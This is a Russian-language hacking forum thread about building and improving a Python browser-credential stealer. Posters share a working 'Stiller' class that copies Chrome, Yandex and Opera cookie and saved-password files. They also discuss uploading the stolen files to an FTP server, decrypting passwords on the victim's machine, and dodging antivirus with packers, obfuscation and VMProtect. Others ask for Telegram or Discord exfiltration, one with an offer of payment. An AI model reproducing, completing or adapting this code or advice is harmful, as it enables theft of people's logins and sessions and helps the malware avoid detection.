PDA

Просмотр полной версии : Разработка ПО на Python для анализа безопасности данных


Bron Frol
12.04.2019, 20:02
Так понятно начал и всё.. Продолжение будет?)

Если не получается отредактировать -- почисть куки (в консоли при этой ошибке браузер ругается) и вставляй текст из блокнота без редактирования и предпросмотра. У меня так получилось.

В крайнем случае допиши новым сообщением)

~localhost
13.04.2019, 11:57
Могу ошибаться, но вроде пасы зашифрованы и кроме как на этой тачке их расшифровать нельзя.?

Сергей Попов
13.04.2019, 22:36
Первое сообщение отредактировано. Приятного чтения!

onero
14.04.2019, 01:29
NNullday сказал(а):

Их можно расшифровать, об этом позже напишу
Ведь стиллеры др. расшифровывают их
Насчет куки там все проще
Например у Firefox вообще расшифровывать не нужно
Через блокнот открыл и посмотрел)
Я лично так пробовал


В большинстве браузеров пароли можно расшифровать удаленно. Но в случае с chrom'ом это можно сделать только на машине владельца, под его учетной записью.

GayFox
14.04.2019, 02:11
onero сказал(а):

В большинстве браузеров пароли можно расшифровать удаленно. Но в случае с chrom'ом это можно сделать только на машине владельца, под его учетной записью.


Так получается данный скрипт бесполезен?

GayFox
14.04.2019, 17:24
NNullday сказал(а):

Не совсем
Есть еще и куки
Да и не только хром на большинство ЭВМ стоит


а вот если мне именно хром и яндекс нужен для это го их как нужно расшифровывать?

onero
14.04.2019, 20:36
GayFox сказал(а):

Так получается данный скрипт бесполезен?


Нет, его надо только чуть дополнить, автор и говорит, что напишет о расшифровке. В случае с хромом просто надо не сразу отправлять файл с паролями, а сначала на месте его расшифровать, и после этого уже отсылать.

Kotik_Begimotik
17.04.2019, 20:21
Вообще довольно неоднозначное решение написание стиллера на питоне, так как даже после "pyinstaller" код останется открытым, а значит и данные для FTP будут скомпрометированы. Для расшифровки паролей можно использовать Lazagne, но тогда практически все антивирусы начнут ругаться на него. Можно попробовать запаковать SFX, но при распаковке все равно антивирус заподозрит неладное. Можно использовать Cишные либы, но это не удобно. В общем это мысли вслух, тема годная, но при условии глубокого дальнейшего рассмотрения.

moonz
19.04.2019, 00:32
Про полиморфизм не слышал?) Просто лень сейчас писать, но ты бы мог объединить поведение скрипта в одну функцию, которая реализует проверку на тип бразуера, и функцию записи, одну для всех (ибо особых отличий в реализации нету). А так конечно молодец, но ты ещё не учёл один маленький нюанс, пакеты .exe собранные через pyinstaller имеют свойство попадать на детект антивирусов. Сам лично сталкивался когда писал безобидный парсер истории для киви кошелька. По этому возможно имеет смысл делать реализацию через батник, или на худой конец .pyw

И на будущие) когда ты очевидно ожидаешь что переменная будет содержать булевый тип, запись можно привести к формату
if (os.path.exists(dir_google)): без == True, так-как условие if изначально предполагает что условие должно быть положительным, в ином случае оно не будет исполнено.

zheki444
15.05.2019, 09:34
NNullday сказал(а):

Куки идут на ftp сервер
Данеые ftp сервера в начале указываем
А вот filename это переменные для названия файла который будет лежать на сервере при отправке
Т.е. их 2 т.к. файлов из 1 браузера мы воруем 2
Можно и проще сделать
Но я решил так))


Хранить данные от FTP в "Теле" стиллера, ну прям не очень хорошая идея!
Вот что бывает если так делать @Жмяк@ @Жмяк@
Удачи

gh0st4ge
15.05.2019, 18:49
Писал статью на эту тему на другой площадке, вот ссылка:

https://vlmi.su/threads/black-python-5-browser-data.28100/

Качественные изменения:

Применение ООП

Повторяющиеся операции максимально убраны в циклы и функции

Никаких абсолютных путей 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Ch rome'

Формирование словарей с данными на машине пользователя (расшифровка)

Бонусы в виде списков Downloads, History, Cookies уложены по сайтам.


Финальная версия на момент публикации в закрепе.

Доставку полученных данных доверил email (статья + отдельный модуль на том же форуме)

novi4OK
20.05.2019, 13:47
gh0st4ge сказал(а):

Писал статью на эту тему на другой площадке, вот ссылка:
https://vlmi.su/threads/black-python-5-browser-data.28100/
Финальная версия на момент публикации в закрепе.

Доставку полученных данных доверил email (статья + отдельный модуль на том же форуме)

Умер форум vlmi.su ?

gh0st4ge
22.05.2019, 10:57
Novi4ok сказал(а):

Умер форум vlmi.su ?


не, домен опять сменился. нынче .biz, вместо .su

pp11
11.09.2019, 22:57
con = FTP("хост","логин","пароль")


Классная строка. Кинул файл, его открыли блокнотом, пробежались, нашли креды и вошли в фтп.
Неужели ничего не наталкивало на мысль, что файл нужно отправить на php скрипт post запросом и загрузить его?

gh0st4ge
12.09.2019, 11:18
Pazsh сказал(а):


con = FTP("хост","логин","пароль")


Классная строка. Кинул файл, его открыли блокнотом, пробежались, нашли креды и вошли в фтп.
Неужели ничего не наталкивало на мысль, что файл нужно отправить на php скрипт post запросом и загрузить его?


Вступлюсь за автора. Тут он показывает как написать сам стиллер(хоть реализация мне и не нравится), а не целиком процесс внедрения "ПО" от прочтения до профита.
Хотя в целом замечание весьма ценное)

МR_ROB0T
17.10.2019, 15:44
объясните мне глупому. Это весь код? Его можно просто скопировать и всё будет работать?

Fake
19.11.2019, 00:09
Знаю вовремя, но всё же надеюсь кто нибудь ответит, возможно ли, если да то как, сделать тоже самое, но с WebBrowserPassView или laZagne, то есть что бы файлы полученные из данных утилит расшифровывались на ПК жертвы, отправлялись на ftp и после удалялись с ПК жертвы?

iron _wolf
09.12.2019, 19:40
что делать если ошибка

Код:



Traceback (most recent call last):
File "C:\Users\wanted\Desktop\stiller\stiler2.py", line 6, in
con = FTP("http://192.168.100.10/","admin","admin")
File "C:\Users\wanted\AppData\Local\Programs\Python\Pyth on35\lib\ftplib.py", line 118, in __init__
self.connect(host)
File "C:\Users\wanted\AppData\Local\Programs\Python\Pyth on35\lib\ftplib.py", line 153, in connect
source_address=self.source_address)
File "C:\Users\wanted\AppData\Local\Programs\Python\Pyth on35\lib\socket.py", line 689, in create_connection
for res in getaddrinfo(host, port, 0, SOCK_STREAM):
File "C:\Users\wanted\AppData\Local\Programs\Python\Pyth on35\lib\socket.py", line 728, in getaddrinfo
for res in _socket.getaddrinfo(host, port, family, type, proto, flags):
socket.gaierror: [Errno 11001] getaddrinfo failed

Tony
09.12.2019, 21:08
iron _wolf сказал(а):

что делать если ошибка

Код:



Traceback (most recent call last):
File "C:\Users\wanted\Desktop\stiller\stiler2.py", line 6, in
con = FTP("http://192.168.100.10/","admin","admin")
File "C:\Users\wanted\AppData\Local\Programs\Python\Pyth on35\lib\ftplib.py", line 118, in __init__
self.connect(host)
File "C:\Users\wanted\AppData\Local\Programs\Python\Pyth on35\lib\ftplib.py", line 153, in connect
source_address=self.source_address)
File "C:\Users\wanted\AppData\Local\Programs\Python\Pyth on35\lib\socket.py", line 689, in create_connection
for res in getaddrinfo(host, port, 0, SOCK_STREAM):
File "C:\Users\wanted\AppData\Local\Programs\Python\Pyth on35\lib\socket.py", line 728, in getaddrinfo
for res in _socket.getaddrinfo(host, port, family, type, proto, flags):
socket.gaierror: [Errno 11001] getaddrinfo failed


А зачем ты http указываешь при подключении к ftp?
Пробуй так:

Код:



con = FTP("192.168.100.10","admin","admin")

iron _wolf
09.12.2019, 22:15
как расшифровать пароли у меня они без формата

Mr_Hide
20.01.2020, 23:01
Pazsh сказал(а):


con = FTP("хост","логин","пароль")


Классная строка. Кинул файл, его открыли блокнотом, пробежались, нашли креды и вошли в фтп.
Неужели ничего не наталкивало на мысль, что файл нужно отправить на php скрипт post запросом и загрузить его?


Тоже интересует тема как скрыть данные подключения в коде. Думал может нужно обфускацию кода делать?!
Помоги советом, где почитать? Что послушать?

pp11
22.01.2020, 18:13
Mr_Hide сказал(а):

Тоже интересует тема как скрыть данные подключения в коде. Думал может нужно обфускацию кода делать?!
Помоги советом, где почитать? Что послушать?


Ну как минимум не писать такие вещи на питоне.
Можешь посмотреть тему (https://forum.antichat.xyz/threads/569031/). XOR был взят ради примера, я не говорю, что это супер скрытие.
Также в той теме есть очень полезное дополнение от @Marylin (https://forum.antichat.xyz/members/620627/)

Также стоит подумать, может тебе вообще и не нужны креды. Это очень глупо вставлять данные для входа в файл, который потом полетит по интернету.
В таком случае уже не только ты имеешь доступ к логам.

Рекомендую писать "вирусы" на языках, которые нельзя декомпилировать, например, C++. Шифровать данные, хотя бы как то, если уж без них никак.
Ну и прогонять конечный билд через протектор, например VMProtect.

Вообще рекомендую почитать что такое протекторы.

UKROP
04.02.2020, 16:00
На Хабре є продовження цієї статті.
Стилер паролей на python с отправкой на почту.
https://habr.com/en/sandbox/135410/
В статье имеется способ расшифровки паролей.
Чи не ти автор?

staxanovec
03.06.2020, 13:24
Очень хорошая статья! Спасибо за старания, буду анализировать и разбираться. Сам не так давно стал учить Python, поэтому крайне интересно

Ficuscay_xD
08.08.2020, 13:32
Пришло на ftp хост четыре файла формата .ctb

SacuraSan
22.09.2020, 16:17
Написал тоже самое, но с классом и списками )

Согласитесь, так же удобнее )

Python:



import
getpass
import
os
class
Stiller
:
def
__init__
(
self
)
:
self
.
UserName
=
"\\"
+
getpass
.
getuser
(
)
self
.
disk_list
=
[
"A"
,
"B"
,
"C"
,
"D"
,
"E"
,
"F"
,
"G"
]
self
.
list_dir
=
{
':\\Users'
+
self
.
UserName
+
'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
:
"Cookie_google"
,
":\\Users"
+
self
.
UserName
+
"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
:
"Pass_google"
,
":\\Users"
+
self
.
UserName
+
"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
:
"Cookie_yandex"
,
":\\Users"
+
self
.
UserName
+
"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"
:
"Pass_yandex"
,
":\\Users"
+
self
.
UserName
+
"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
:
"Cookie_opera"
,
":\\Users"
+
self
.
UserName
+
"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
:
"Pass_opera"
}
@staticmethod
def
read_write_file
(
dir
,
filename
)
:
content
=
""
with
open
(
dir
,
'rb'
)
as
file
:
content
=
file
.
read
(
)
with
open
(
filename
,
"wb"
)
as
file
:
file
.
write
(
content
)
return
"[+] All good"
def
start
(
self
)
:
for
disk
in
self
.
disk_list
:
for
direction
in
self
.
list_dir
:
dir
=
disk
+
direction
if
os
.
path
.
exists
(
dir
)
:
print
(
"[+] Disk - "
+
disk
+
",Yes "
+
self
.
list_dir
[
direction
]
)
result
=
self
.
read_write_file
(
dir
,
self
.
list_dir
[
direction
]
+
".txt"
)
print
(
result
)
else
:
print
(
"[-] Disk - "
+
disk
+
" ,No "
+
self
.
list_dir
[
direction
]
)
my_stiller
=
Stiller
(
)
my_stiller
.
start
(
)

Олександр Лололол
19.02.2021, 22:40
Всем привет!
Хочу разработать подобную штуку, только с оправкой в телеграмм)
Кто может помочь, пишите в телеграмм @ruslan9071, кто поможет, того щедро вознагражу)

pirat6
07.05.2021, 00:25
переделать можно код чтоб данные приходили в дискорд?

Pernat1y
07.05.2021, 01:07
pirat6 сказал(а):

переделать можно код чтоб данные приходили в дискорд?


Можно. Переделывайте.